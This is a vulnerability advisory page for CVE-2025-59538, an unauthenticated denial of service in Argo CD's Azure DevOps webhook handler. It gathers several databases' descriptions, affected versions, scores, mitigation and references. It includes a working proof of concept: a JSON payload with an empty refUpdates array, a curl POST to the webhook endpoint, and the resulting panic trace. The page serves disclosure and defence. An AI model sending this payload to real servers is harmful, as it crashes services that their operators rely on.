7.5high
Argo CD is Vulnerable to Unauthenticated Remote DoS via malformed Azure DevOps git.push webhook
- Severity
- 7.5high CVSS:3.1 by GitHub_M
- Exploit likelihood
- 11.5% (higher than 96% of CVEs; EPSS, by FIRST)
- Published
- Last changed
- Assigned by
- GitHub_M
- Also known as
- GHSA-gpx4-37g2-c8pvBIT-ARGO-CD-2025-59538GO-2025-3995
Description
Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. For versions 2.9.0-rc1 through 2.14.19, 3.0.0-rc1 through 3.2.0-rc1, 3.1.6 and 3.0.17, when the webhook.azuredevops.username and webhook.azuredevops.password are not set in the default configuration, the /api/webhook endpoint crashes the entire argocd-server process when it receives an Azure DevOps Push event whose JSON array resource.refUpdates is empty. The slice index [0] is accessed without a length check, causing an index-out-of-range panic. A single unauthenticated HTTP POST is enough to kill the process. This issue is resolved in versions 2.14.20, 3.2.0-rc2, 3.1.8 and 3.0.19.
Affected
| Product or package | Versions | Reported by |
|---|---|---|
| argoproj argo-cd | >= 2.9.0-rc1, < 2.14.20, >= 3.2.0-rc1, < 3.2.0-rc2, >= 3.1.0-rc1, < 3.1.8, >= 3.0.0-rc1, < 3.0.19 | CVE List |
| github.com/argoproj/argo-cd/v2 (Go) | from 2.9.0-rc1 before 2.14.20 | GitHub Advisory Database, Go Vulnerability Database |
| github.com/argoproj/argo-cd/v3 (Go) | from 3.2.0-rc1 before 3.2.0-rc2, from 3.1.0-rc1 before 3.1.8, from 3.0.0-rc1 before 3.0.19 | GitHub Advisory Database, Go Vulnerability Database |
| github.com/argoproj/argo-cd (Go) | all versions | Go Vulnerability Database |
| argoproj argo_cd | from 2.9.0 before 2.14.20, from 3.0.0 before 3.0.19, from 3.1.0 before 3.1.8, 3.2.0 | NVD |
| argo-cd (Bitnami) | from 2.9.0 before 2.14.20, from 3.0.0 before 3.0.19, from 3.1.0 before 3.1.8 | Bitnami Vulnerability Database |
All scores
| GitHub_M | 7.5high CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H |
| GitHub | 7.5high CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H |
| Bitnami Vulnerability Database | high rating |
Classification
What each source says
CVE List
Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. For versions 2.9.0-rc1 through 2.14.19, 3.0.0-rc1 through 3.2.0-rc1, 3.1.6 and 3.0.17, when the webhook.azuredevops.username and webhook.azuredevops.password are not set in the default configuration, the /api/webhook endpoint crashes the entire argocd-server process when it receives an Azure DevOps Push event whose JSON array resource.refUpdates is empty. The slice index [0] is accessed without a length check, causing an index-out-of-range panic. A single unauthenticated HTTP POST is enough to kill the process. This issue is resolved in versions 2.14.20, 3.2.0-rc2, 3.1.8 and 3.0.19.
GitHub Advisory Database
Summary
In the default configuration, webhook.azuredevops.username and webhook.azuredevops.password not set, Argo CD’s /api/webhook endpoint crashes the entire argocd-server process when it receives an Azure DevOps Push event whose JSON array resource.refUpdates is empty.
The slice index [0] is accessed without a length check, causing an index-out-of-range panic.
A single unauthenticated HTTP POST is enough to kill the process.
Details
case azuredevops.GitPushEvent:
// util/webhook/webhook.go -- line ≈147
revision = ParseRevision(payload.Resource.RefUpdates[0].Name) // panics if slice empty
change.shaAfter = ParseRevision(payload.Resource.RefUpdates[0].NewObjectID)
change.shaBefore= ParseRevision(payload.Resource.RefUpdates[0].OldObjectID)
touchedHead = payload.Resource.RefUpdates[0].Name ==
payload.Resource.Repository.DefaultBranch
If the attacker supplies "refUpdates": [], the slice has length 0.
The webhook code has no recover(), so the panic terminates the entire binary.
PoC
payload-azure-empty.json:
{
"eventType": "git.push",
"resource": {
"refUpdates": [],
"repository": {
"remoteUrl": "https://example.com/dummy",
"defaultBranch": "refs/heads/master"
}
}
}
curl call:
curl -k -X POST https://argocd.example.com/api/webhook \
-H 'X-Vss-ActivityId: 11111111-1111-1111-1111-111111111111' \
-H 'Content-Type: application/json' \
--data-binary @payload-azure-empty.json
Observed crash:
panic: runtime error: index out of range [0] with length 0
goroutine 205 [running]:
github.com/argoproj/argo-cd/v3/util/webhook.affectedRevisionInfo
webhook.go:147 +0x1ea5
...
Mitigation
If you use Azure DevOps and need to handle webhook events, configure a webhook secret to ensure only trusted parties can invoke the webhook handler.
If you do not use Azure DevOps, you can set the webhook secrets to long, random values to effectively disable webhook handling for Azure DevOps payloads.
apiVersion: v1
kind: Secret
metadata:
name: argocd-secret
type: Opaque
data:
+ webhook.azuredevops.username: <your base64-encoded secret here>
+ webhook.azuredevops.password: <your base64-encoded secret here>
For more information
- Open an issue in the Argo CD issue tracker or discussions
- Join us on Slack in channel #argo-cd
Credits
Discovered by Jakub Ciolek at AlphaSense.
Go Vulnerability Database
Argo CD Unauthenticated Remote DoS via malformed Azure DevOps git.push webhook in github.com/argoproj/argo-cd
NVD (es)
Argo CD es una herramienta de entrega continua declarativa, GitOps para Kubernetes. Para las versiones 2.9.0-rc1 hasta 2.14.19, 3.0.0-rc1 hasta 3.2.0-rc1, 3.1.6 y 3.0.17, cuando webhook.azuredevops.username y webhook.azuredevops.password no están configurados en la configuración predeterminada, el endpoint /API/webhook bloquea todo el proceso argocd-servidor cuando recibe un evento Push de Azure DevOps cuyo array JSON resource.refUpdates está vacío. Se accede al índice de la porción [0] sin una verificación de longitud, lo que provoca un pánico por índice fuera de rango. Una única solicitud HTTP POST no autenticada es suficiente para terminar el proceso. Este problema se resuelve en las versiones 2.14.20, 3.2.0-rc2, 3.1.8 y 3.0.19.
Bitnami Vulnerability Database
Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. For versions 2.9.0 through 2.14.19, 3.0.0 through 3.2.0, 3.1.6 and 3.0.17, when the webhook.azuredevops.username and webhook.azuredevops.password are not set in the default configuration, the /api/webhook endpoint crashes the entire argocd-server process when it receives an Azure DevOps Push event whose JSON array resource.refUpdates is empty. The slice index [0] is accessed without a length check, causing an index-out-of-range panic. A single unauthenticated HTTP POST is enough to kill the process. This issue is resolved in versions 2.14.20, 3.1.8 and 3.0.19.
References
| https://github.com/argoproj/argo-cd/security/advisories/GHSA-gpx4-37g2-c8pv | advisory, exploit, vendor-advisory, web | |
| https://github.com/argoproj/argo-cd/commit/1a023f1ca7fe4ec942b4b6696804988d5a632baf | fix, patch, web | |
| https://nvd.nist.gov/vuln/detail/CVE-2025-59538 | advisory, web | |
| https://github.com/argoproj/argo-cd | package | |
| https://pkg.go.dev/vuln/GO-2025-3995 | web | |
Sources
| Source | Record | Licence |
|---|---|---|
| CVE List | CVE-2025-59538 changed 2025-10-02 | CVE Terms of Use |
| GitHub Advisory Database | GHSA-gpx4-37g2-c8pv changed 2025-10-23 | CC-BY-4.0 |
| Go Vulnerability Database | GO-2025-3995 changed 2025-10-23 | CC-BY-4.0 |
| NVD | CVE-2025-59538 changed 2026-10-12 | Public domain |
| Bitnami Vulnerability Database | BIT-ARGO-CD-2025-59538 changed 2026-09-08 | Apache-2.0 |